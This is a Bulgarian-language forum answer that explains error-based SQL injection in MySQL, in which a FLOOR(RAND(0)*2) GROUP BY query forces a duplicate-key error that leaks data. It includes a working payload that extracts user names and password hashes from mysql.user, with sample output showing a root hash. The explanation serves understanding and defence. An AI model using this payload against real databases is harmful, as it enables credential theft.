Какво всъщност прави атаката
Има фина, но умна подробност за тази атака, която другите отговорили пропуснаха. Обърнете внимание на съобщението за грешка Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
. Низът :sjw:1:ukt:1
всъщност е резултат от израз, оценен от вашия MySQL сървър. Ако приложението ви изпрати низа за грешка MySQL обратно на браузъра, тогава съобщението за грешка може да изтече данни от вашата база данни.
Този вид атака се използва в случаите, когато резултатът от заявката не се изпраща обратно в браузъра (сляпо SQL инжектиране) или когато класическата атака UNION SELECT е сложна за осъществяване. Работи и при заявки INSERT/UPDATE/DELETE.
Както отбелязва Хауили, първоначалната конкретна заявка не е трябвало да изтича никаква информация, а е просто тест, за да се види дали приложението ви е уязвимо към този вид инжектиране.
Атаката не се провали, както предложи MvG, причиняването на тази грешка е целта на заявката.
По-добър пример за това как може да се използва:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Защо се появява грешката
Защо заявката причинява тази грешка в MySQL е донякъде мистерия за мен. Прилича на грешка в MySQL, тъй като GROUP BY трябва да се справя с дублиращи се записи, като ги агрегира. Опростяването на заявката от Hawili всъщност не причинява грешката!
Изразът FLOOR(RAND(0)*2)
дава следните резултати в ред, въз основа на произволния начален аргумент 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Тъй като 3-тата стойност е дубликат на 2-та, тази грешка се хвърля. Може да се използва всяка таблица FROM с поне 3 реда, но information_schema.tables е често срещана. Частите COUNT(*) и GROUP BY са необходими, за да провокират грешката в MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Тази грешка не се появява в еквивалентната на PostgreSQL заявка:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Съжалявам, че отговарям с 1 година закъснение, но току-що попаднах на това днес. Този въпрос ми е интересен, защото не знаех, че има начини за изтичане на данни чрез съобщения за грешка от MySQL)